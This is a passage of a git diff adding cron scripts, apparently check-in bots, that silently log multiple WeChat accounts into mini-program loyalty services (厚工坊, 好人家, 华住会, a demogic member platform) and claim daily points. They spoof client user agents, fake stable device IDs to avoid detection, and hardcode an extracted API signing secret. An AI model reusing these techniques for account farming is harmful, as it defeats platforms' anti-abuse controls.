succeeded = True + else: + detail = RedRocket.err(result) + if any(k in detail for k in ("已签", "重复", "已参与", "已领取")): + print(f"✅ 账号 {index} 今日已签到 ({detail})") + lines.append("✅ 今日已签到") + succeeded = True + else: + print(f"❌ 账号 {index} 签到失败: {detail}") + lines.append(f"❌ 签到失败: {detail}") + succeeded = False + + point = client.total_point() + if point is not None: + print(f"账号 {index} 当前积分: {point}") + lines.append(f"当前积分: {point}") + return "\n".join(lines), succeeded + + +def main(): + raw = os.getenv("hshj", "") + accounts = [x.strip() for x in raw.replace("&", "\n").splitlines() if x.strip()] + + if not accounts: + print("❌ 未检测到账号信息(环境变量 hshj), 退出。") + return + if not WX_AUTH: + print("❌ 未配置 wx_auth, 无法获取 code, 退出。") + return + + print("=============== 红色火箭 签到开始 ===============") + summaries = [] + ok_count = 0 + for i, entry in enumerate(accounts, 1): + parts = entry.split("#", 1) + account = parts[0].strip() + remark = parts[1].strip() if len(parts) > 1 else "" + print(f"\n-------------- 账号 {i}{('/' + remark) if remark else ''} --------------") + try: + summary, ok = run_account(account, i) + summaries.append(summary) + ok_count += 1 if ok else 0 + except Exception as e: + print(f"❌ 账号 {i} 执行异常: {e}") + summaries.append(f"【账号 {i}】\n❌ 执行异常: {e}") + time.sleep(1) + + print("\n=============== 红色火箭 签到结束 ===============") + try: + send(f"红色火箭签到 {ok_count}/{len(accounts)} 成功", "\n\n".join(summaries)) + except Exception as e: + print(f"⚠️ 通知发送失败: {e}") + + +MANUAL_TICKETS = [ + x.strip() for x in os.getenv("hshj_ticket", "").replace("&", "\n").splitlines() if x.strip() +] + +if __name__ == "__main__": + main() diff --git a/wxapp/hougongfang.js b/wxapp/hougongfang.js new file mode 100644 index 00000000..498b9a1a --- /dev/null +++ b/wxapp/hougongfang.js @@ -0,0 +1,244 @@ +/* +------------------------------------------ +@Description: 厚工坊 - 微信小程序静默登录 + 每日签到 +cron: 40 8 * * * +------------------------------------------ +变量名:hougongfang +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx5dd1e38d5312e70b,host api.hgf1862.com): + 登录 GET /YUN/api/onLogin.aspx?opt=onLogin&code= + -> status==1,取 SessionID;之后带请求头 sessionid: + 签到 POST /YUN/Game/2021/QianDao/QianDaoAjax_By28.aspx?op=now&vers= + (参数只在查询串上,body 为空)-> status==1 + 这个后端的成功码是 status==1,提示在 msg + 签到那个接口是按 Cookie 校验会话的(user=SessionID=),只给请求头不够 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("厚工坊"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "hougongfang"; +const MINI_APP_ID = "wx5dd1e38d5312e70b"; +const BASE = "https://api.hgf1862.com"; + +const TOKEN_CACHE_FILE = path.join(__dirname, "hougongfang_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_LOGIN = "/YUN/api/onLogin.aspx"; +const EP_SIGN = "/YUN/Game/2021/QianDao/QianDaoAjax_By28.aspx"; +const EP_USER = null; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${k}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} + +/** 该后端的成功判定 */ +const isOk = (res) => Number(res?.status) === 1; +const msgOf = (res) => res?.msg || res?.message || res?.msg || short(res); +/** 每天跑一次,「已签到」必须当成成功而不是失败 */ +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新|401/i.test(String(t || "")); +/** 账号态:这个微信号还没在该平台注册/绑定 —— 不是脚本缺陷,别打 ❌ */ +const isNotRegistered = (t) => /未注册|未绑定|请先注册|请先绑定|not regist/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + this.signedToday = false; + // 设备号按 openid 稳定派生:同一账号每次跑都一样,避免被当成新设备 + this.deviceId = "d_" + require("crypto").createHash("md5") + .update(String(this.account.openid || raw)).digest("hex").slice(0, 16); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async request(apiPath, body = null, withAuth = true, method = "POST", query = null, epHeaders = null) { + const isForm = false; + const headers = { + "Content-Type": isForm ? "application/x-www-form-urlencoded" : "application/json", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + Accept: "application/json, text/plain, */*", + xweb_xhr: "1", + ...(epHeaders || {}), + }; + if (withAuth && this.token) headers["sessionid"] = this.token; if (withAuth && this.token) headers["Cookie"] = `user=SessionID=${this.token}`; + + const payload = body || {}; + + const isGet = String(method).toUpperCase() === "GET"; + // query 独立于 body:有些接口是 POST 但参数只在查询串上 + const qs = query ? form(query) : (isGet && Object.keys(payload).length ? form(payload) : ""); + const res = await axios.request({ + method: isGet ? "GET" : "POST", + url: `${BASE}${apiPath}${qs ? `?${qs}` : ""}`, + data: isGet ? undefined : (isForm ? form(payload) : payload), + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status < 200 || res.status >= 300) { + // 业务结论常常躺在 4xx/5xx 的 JSON 体里("今日已签到" 见过 400 也见过 500), + // 有 JSON 体就交给下游按业务码判,别在这一层抛掉 + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** + * wcs.getCode 在 status:false 时也会 resolve,必须自己判失败, + * 否则 wx_server 的取码限流会被误报成目标站登录失败。 + */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, {}, false, "GET", { opt: "onLogin", code }, null); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + this.token = (res.SessionID || res.sessionID || (res.data || {}).SessionID) || ""; + + if (!this.token) throw new Error(`登录未返回 token: ${short(res)}`); + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryUser(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + async queryUser(needLog = true) { + if (!EP_USER) return true; + const res = await this.request(EP_USER, {}, true, "POST", null, null); + if (!isOk(res)) { + if (needLog) this.log(`读取资料失败: ${msgOf(res)}`); + return false; + } + // 有的家没有 data/body 包装,响应体本身就是数据(zippo 的 profile 就是) + const d = res.data || res.datas || res.body || res || {}; + if (needLog) { + const bits = []; + for (const k of ["nickname", "nickName", "name", "memberId", "integral", "points", + "point", "score", "credits", "balance", "coin", "amount"]) { + if (d && d[k] !== undefined && d[k] !== null && d[k] !== "") bits.push(`${k}=${d[k]}`); + } + this.log(`会员: ${bits.join(" ") || short(d, 120)}`); + } + return true; + } + + async sign(retry = true) { + const res = await this.request(EP_SIGN, {}, true, "POST", { op: "now", vers: new Date().toISOString().slice(0,10).replace(/-/g, "") }, null); + if (isOk(res)) return this.log("✅ 签到成功"); + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (isNotRegistered(msgOf(res))) { + return this.log(`⚠️ ${msgOf(res)} —— 该微信号还没在该平台注册会员,先在小程序里注册一次再跑`); + } + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryUser(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/hrj.js b/wxapp/hrj.js new file mode 100644 index 00000000..848a6925 --- /dev/null +++ b/wxapp/hrj.js @@ -0,0 +1,306 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 好人家签到 +cron: 36 8 * * * +------------------------------------------ +变量名:hrj +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("好人家签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx160c589739c6f8b0"; +const PAGE_VERSION = "116"; +const API_HOST = "https://xapi.weimob.com"; +const API_BASE = `${API_HOST}/api3`; +const TOKEN_CACHE_FILE = path.join(__dirname, "hrj_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const FORM_BASIC_INFO = { + bosId: "4021565647273", + cid: "505934273", + productInstanceId: "8689235273", + tcode: "weimob", + vid: "6015869513273", +}; + +const ONECRM_BASIC_INFO = { + bosId: "4021565647273", + cid: "505934273", + productId: 146, + productInstanceId: "8689224273", + tcode: "weimob", + vid: "6015869513273", +}; + +const EXTEND_INFO = { + analysis: [], + bosTemplateId: 1000002218, + childTemplateIds: [ + { customId: 90004, version: "crm@0.1.90" }, + { customId: 90002, version: "ec@84.0" }, + { customId: 90006, version: "hudong@0.0.251" }, + { customId: 90008, version: "cms@0.0.529" }, + { customId: 90070, version: "1.0.19y" }, + ], + quickdeliver: { enable: false }, + wxTemplateId: 8169, + youshu: { enable: false }, + source: 1, + channelsource: 1, + mpScene: 1001, +}; + +let ckName = "hrj"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function isTokenError(message) { + return /token|登录|授权|invalid|expire|过期|1041|401|403/i.test(String(message || "")); +} + +function rewardText(items) { + if (!Array.isArray(items) || !items.length) return ""; + return items.map((item) => `${item.key || "奖励"}${item.value || ""}`).join(" "); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.session = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.session = cached; + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.session.token) { + await this.loginByWxCode(); + if (!this.session.token) return; + } + + await this.doSign(); + this.saveCachedToken(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.session.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + uuid: this.session.uuid, + bosId: this.session.bosId, + wid: this.session.wid, + appId: this.session.appId, + cid: this.session.cid, + scope: this.session.scope, + status: this.session.status, + sourceType: this.session.sourceType, + source: this.session.source, + token: this.session.token, + expireTime: this.session.expireTime, + latestExpireTime: this.session.latestExpireTime, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.session = {}; + } + + getHeaders() { + return { + "Content-Type": "application/json", + "X-WX-Token": this.session.token || "", + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "weimob-bosId": ONECRM_BASIC_INFO.bosId, + "weimob-pid": "N/A", + }; + } + + buildWosBody(data = {}) { + return { + appid: MINI_APP_ID, + basicInfo: { ...ONECRM_BASIC_INFO }, + extendInfo: { ...EXTEND_INFO }, + i18n: { + language: "zh", + timezone: "8", + }, + ...data, + }; + } + + async request(apiPath, data = {}) { + const res = await axios.post(`${API_BASE}${apiPath}`, this.buildWosBody(data), { + headers: this.getHeaders(), + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) throw new Error(`HTTP ${res.status}`); + if (`${res.data?.errcode}` !== "0") { + const error = new Error(res.data?.errmsg || `接口错误: ${res.data?.errcode || "unknown"}`); + error.data = res.data; + throw error; + } + return res.data?.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const loginBody = { + appid: MINI_APP_ID, + basicInfo: { ...FORM_BASIC_INFO }, + env: "production", + extendInfo: { ...EXTEND_INFO }, + is_pre_fetch_open: true, + parentVid: 0, + pid: "", + storeId: "", + code, + queryAuthConfig: true, + }; + delete loginBody.basicInfo.productInstanceId; + + const res = await axios.post(`${API_HOST}/fe/mapi/user/loginX`, loginBody, { + headers: { + "Content-Type": "application/json", + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "weimob-bosId": FORM_BASIC_INFO.bosId, + "weimob-cid": FORM_BASIC_INFO.cid, + }, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200 || Number(res.data?.errcode) !== 0) { + throw new Error(res.data?.errmsg || res.data?.errormsg || `HTTP ${res.status}`); + } + this.session = res.data.data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: wid ${this.session.wid || ""}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getSignMainInfo(true); + return true; + } catch (e) { + return false; + } + } + + customInfo(extra = {}) { + return { + ...ONECRM_BASIC_INFO, + source: 0, + wid: this.session.wid, + ...extra, + }; + } + + async getSignMainInfo(silent = false) { + const data = await this.request("/onecrm/mactivity/sign/misc/sign/activity/c/signMainInfo", { + customInfo: this.customInfo(), + }); + if (!silent) { + $.log(`账号[${this.index}] 签到状态: ${data?.hasSign ? "今日已签" : "今日未签"} ${rewardText(data?.signForwardMsg)}`); + } + return data || {}; + } + + async doSign() { + try { + const info = await this.getSignMainInfo(); + if (info.hasSign) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + + const data = await this.request("/onecrm/mactivity/sign/misc/sign/activity/core/c/sign", { + customInfo: this.customInfo(), + }); + const rewards = [ + rewardText(data?.fixedReward), + rewardText(data?.extraReward), + ].filter(Boolean).join(" "); + $.log(`账号[${this.index}] 签到成功${rewards ? `: ${rewards}` : ""}`); + } catch (e) { + const message = e.message || e; + if (/已签|重复|今日已|60070013000332/.test(String(message))) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/huazhu.js b/wxapp/huazhu.js new file mode 100644 index 00000000..5f8cf077 --- /dev/null +++ b/wxapp/huazhu.js @@ -0,0 +1,248 @@ +/* +华住会 - 签到/查询 +cron: 35 8 * * * + +变量名:huazhu +变量值: + 1. wx_server 中保存的 openid,多账号用 & 或换行分隔 + 2. openid#sId,可直接复用 sId/crossAuth + 3. JSON:{"openid":"...","sId":"...","remark":"..."} + +依赖变量:wx_server_url、wx_auth +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("华住会"); +const axios = require("axios"); + +const ckName = "huazhu"; +const MINI_APP_ID = "wx286efc12868f2559"; +const PACKAGE_VERSION = "580"; +const WX_SERVER_URL = (process.env.wx_server_url || "http://192.168.31.196:8787").replace(/\/$/, ""); +const WX_AUTH = process.env.wx_auth || ""; +const LOGIN_BASE = "https://hweb-minilogin.huazhu.com/api"; +const PERSONAL_BASE = "https://hweb-personalcenter.huazhu.com"; +const SIGN_BASE = "https://appgw.huazhu.com"; + +function splitAccounts(value = "") { + return String(value) + .split(/\n|&/) + .map((item) => item.trim()) + .filter(Boolean); +} + +function short(value, max = 500) { + if (value === undefined || value === null) return ""; + const text = typeof value === "string" ? value : JSON.stringify(value); + return text.length > max ? `${text.slice(0, max)}...` : text; +} + +function mask(value = "") { + value = String(value || ""); + if (!value) return ""; + if (value.length <= 12) return `${value.slice(0, 3)}***`; + return `${value.slice(0, 6)}***${value.slice(-6)}`; +} + +function parseAccount(raw = "") { + const text = String(raw || "").trim(); + if (!text) return {}; + + if (text.startsWith("{")) { + const data = JSON.parse(text); + return { + openid: data.openid || data.openId || "", + sId: data.sId || data.sid || data.crossAuth || data.token || "", + remark: data.remark || data.name || "", + }; + } + + const [openid, sId, remark] = text.split("#").map((item) => item.trim()); + if (!sId && /^[0-9a-f]{32,}\d*$/i.test(openid) && !/^o[A-Za-z0-9_-]{20,}$/.test(openid)) { + return { openid: "", sId: openid, remark: "" }; + } + return { openid, sId, remark }; +} + +async function request(options) { + const res = await axios.request({ + timeout: 25000, + validateStatus: () => true, + ...options, + headers: { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 MicroMessenger MiniProgramEnv/Windows", + Accept: "application/json, text/plain, */*", + ...(options.headers || {}), + }, + }); + return { status: res.status, data: res.data, headers: res.headers || {} }; +} + +async function getWxCode(openid) { + if (!WX_AUTH) throw new Error("未配置 wx_auth,无法从 wx_server 获取 code"); + const { status, data } = await request({ + method: "POST", + url: `${WX_SERVER_URL}/wx/code`, + headers: { auth: WX_AUTH, "Content-Type": "application/json" }, + data: { appid: MINI_APP_ID, openid }, + }); + const code = data?.data?.code || data?.code; + if (status !== 200 || !code) throw new Error(`获取 code 失败 HTTP ${status}: ${short(data)}`); + return code; +} + +function wxHeaders(sId = "") { + return { + "Content-Type": "application/json", + "Client-Platform": "WX-MP", + version: "", + sId, + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PACKAGE_VERSION}/page-frame.html`, + }; +} + +function signHeaders(sId = "") { + return { + "Content-Type": "application/json;charset=UTF-8", + Origin: "https://cdn.huazhu.com", + Referer: "https://cdn.huazhu.com/hzapp-signinfe/", + sId, + }; +} + +function ok(data) { + return String(data?.businessCode) === "1000" || Number(data?.code) === 200; +} + +class Huazhu { + constructor(rawAccount, index) { + this.index = index; + this.account = parseAccount(rawAccount); + this.sId = this.account.sId || ""; + this.memberId = ""; + } + + log(message) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${message}`); + } + + async login() { + if (this.sId) { + this.log(`使用已有 sId: ${mask(this.sId)}`); + return; + } + if (!this.account.openid) throw new Error("账号格式错误,请配置 wx_server 中的 openid 或直接配置 sId"); + + const code = await getWxCode(this.account.openid); + const { status, data } = await request({ + method: "POST", + url: `${LOGIN_BASE}/applet/authCheck?code=${encodeURIComponent(code)}`, + headers: wxHeaders(""), + data: {}, + }); + if (status !== 200 || !ok(data) || !data?.Result) throw new Error(`登录失败 HTTP ${status}: ${short(data)}`); + + this.sId = data?.Extend?.crossAuth || data?.Data || ""; + this.memberId = data?.Extend?.memberId || ""; + if (!this.sId) throw new Error(`登录响应缺少 sId: ${short(data)}`); + this.log(`登录成功 memberId=${this.memberId || "-"} sId=${mask(this.sId)}`); + } + + async queryMember() { + const { status, data } = await request({ + method: "POST", + url: `${PERSONAL_BASE}/personalCenter/rightAndInterest/getBriefInfo`, + headers: wxHeaders(this.sId), + data: {}, + }); + if (status !== 200 || !ok(data)) throw new Error(`会员查询失败 HTTP ${status}: ${short(data)}`); + + const basic = data?.content?.basicInfo || {}; + const level = data?.content?.standardLevelInfo || {}; + this.memberId = basic.memberId || this.memberId; + this.log( + `会员信息: ${basic.name || basic.mobile || "-"},等级: ${basic.memberLevelText || level.levelText || "-"},积分: ${ + basic.point ?? "-" + },30天到期积分: ${basic.expireDay30Point ?? 0},升级: ${level.upgradeText || "-"}` + ); + return data; + } + + async querySignHeader() { + const { status, data } = await request({ + method: "GET", + url: `${SIGN_BASE}/game/sign_header`, + headers: signHeaders(this.sId), + }); + if (status !== 200 || !ok(data)) throw new Error(`签到查询失败 HTTP ${status}: ${short(data)}`); + + const info = data?.content || {}; + this.log( + `签到信息: 今日${info.signToday ? "已签" : "未签"},签到积分: ${info.point ?? "-"},会员积分: ${ + info.memberPoint ?? "-" + },年签到: ${info.yearSignInCount ?? "-"},下个奖励: ${info.nextAwardName || "-"}` + ); + return info; + } + + async sign() { + const before = await this.querySignHeader(); + if (before.signToday) { + this.log("签到结果: 今日已签到"); + return before; + } + + const date = Math.floor(Date.now() / 1000); + const { status, data } = await request({ + method: "GET", + url: `${SIGN_BASE}/game/sign_in`, + params: { date }, + headers: signHeaders(this.sId), + }); + + if (ok(data)) { + const content = data?.content || {}; + this.log( + `签到结果: 成功,获得 ${content.point ?? "-"} 积分,活跃值 ${content.activityPoints ?? "-"},年签到 ${ + content.yearSignInCount ?? "-" + }` + ); + return this.querySignHeader(); + } + + if (String(data?.businessCode) === "5010") { + this.log("签到结果: 今日已签到"); + return this.querySignHeader(); + } + throw new Error(`签到失败 HTTP ${status}: ${short(data)}`); + } + + async run() { + try { + this.log("开始执行"); + await this.login(); + await this.queryMember(); + await this.sign(); + await this.queryMember(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +async function main() { + $.checkEnv(ckName); + const accounts = $.userList && $.userList.length ? $.userList : splitAccounts(process.env[ckName]); + if (!accounts.length) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < accounts.length; i++) { + await new Huazhu(accounts[i], i + 1).run(); + if (i < accounts.length - 1) await $.wait(1500, 3000); + } +} + +main() + .catch((e) => $.log(`脚本异常: ${e.message || e}`)) + .finally(() => $.done()); diff --git a/wxapp/hxek.js b/wxapp/hxek.js new file mode 100644 index 00000000..753ddab7 --- /dev/null +++ b/wxapp/hxek.js @@ -0,0 +1,241 @@ +/* +------------------------------------------ +@Description: demogic(GIC)会员 - 微信小程序静默登录 + 每日签到 +cron: 41 8 * * * +------------------------------------------ +变量名:hxek +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxa1f1fa3785a47c7d,host hope.demogic.com,GIC/demogic 通用会员中台): +(迁移自 YYB-GO 系抓包脚本,原脚本已 code 登录) + +鉴权模型:无 token。每个请求带 memberId + MD5 sign。 + sign = md5(`timestamp=transId=secret=random=memberId=`) + ts = 北京时间 "YYYY-MM-DD HH:mm:ss";SECRET/ENTERPRISE_ID 是这家中台的固定接口签名密钥(原脚本硬编码,非 appsecret) +登录 POST /gic-wx-app/on_login.json form: systemInfo,jcode=,memberId=-1,random,appid,transId,sign(memberId=-1),timestamp,... + -> extract_member_id:data.memberId / response.memberId / response.member.id / data.data.* 任一有值=已注册 + 取不到 memberId = 该微信号未在此品牌注册会员 +签到 POST /gic-wx-app/member_sign.json form: memberId,enterpriseId,random,sign(memberId),timestamp,transId,... + 头 sign: ;errcode==0 成功(response.memberSign.integralCount/continuousCount);已签靠 errmsg 兜底 +不做:任务/积分商城。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("demogic会员"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "hxek"; +const MINI_APP_ID = "wxa1f1fa3785a47c7d"; +const BASE = "https://hope.demogic.com"; +const SECRET = "damogic8888"; +const ENTERPRISE_ID = "ff8080817d9fbda8017dc20674f47fb6"; +const TOKEN_CACHE_FILE = path.join(__dirname, "hxek_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/gic-wx-app/on_login.json"; +const EP_SIGN = "/gic-wx-app/member_sign.json"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入缓存失败: ${e.message || e}`); + } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function pad(n) { + return n < 10 ? "0" + n : "" + n; +} +/** 北京时间 "YYYY-MM-DD HH:mm:ss"(用 UTC+8 偏移,避免依赖运行机时区) */ +function chinaTs() { + const d = new Date(Date.now() + 8 * 3600 * 1000); + return `${d.getUTCFullYear()}-${pad(d.getUTCMonth() + 1)}-${pad(d.getUTCDate())} ${pad(d.getUTCHours())}:${pad(d.getUTCMinutes())}:${pad(d.getUTCSeconds())}`; +} +function md5(s) { + return crypto.createHash("md5").update(s, "utf8").digest("hex"); +} +function makeSign(ts, rand, memberId) { + return md5(`timestamp=${ts}transId=${MINI_APP_ID}${ts}secret=${SECRET}random=${rand}memberId=${memberId}`); +} +function systemInfo() { + return JSON.stringify({ + SDKVersion: "3.16.0", batteryLevel: "0", brand: "microsoft", + fontSizeSetting: "-1", language: "zh_CN", model: "microsoft", + pixelRatio: 1, platform: "windows", screenHeight: 780, + screenWidth: 414, statusBarHeight: 20, system: "Windows 10 x64", + version: "4.1.9.35", windowHeight: 716, windowWidth: 414, benchmarkLevel: -1, + theme: "light", + }); +} +function form(obj) { + return Object.entries(obj) + .map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v === undefined || v === null ? "" : v)}`) + .join("&"); +} +function launchOptions(scene) { + return JSON.stringify({ path: "pages/authorize/authorize", query: {}, scene, referrerInfo: {}, apiCategory: "default" }); +} +/** 从登录响应里挖 memberId(多路径兜底) */ +function extractMemberId(data) { + if (!data || typeof data !== "object") return ""; + const cand = [data.memberId, data.member_id]; + const r = data.response; + if (r && typeof r === "object") { + cand.push(r.memberId, r.member_id); + if (r.member && typeof r.member === "object") cand.push(r.member.memberId, r.member.member_id, r.member.id); + if (r.user && typeof r.user === "object") cand.push(r.user.memberId, r.user.member_id, r.user.id); + } + const inner = data.data; + if (inner && typeof inner === "object") cand.push(inner.memberId, inner.member_id); + const hit = cand.find((v) => v !== undefined && v !== null && String(v) !== "" && String(v) !== "-1"); + return hit ? String(hit) : ""; +} + +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.memberId = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async request(apiPath, body, extraHeaders = {}) { + const headers = { + Host: "hope.demogic.com", + Connection: "keep-alive", + "User-Agent": UA, + channelEntrance: "wx_app", + xweb_xhr: "1", + "Content-Type": "application/x-www-form-urlencoded", + Accept: "*/*", + Referer: `https://servicewechat.com/${MINI_APP_ID}/89/page-frame.html`, + "Accept-Language": "zh-CN,zh;q=0.9", + 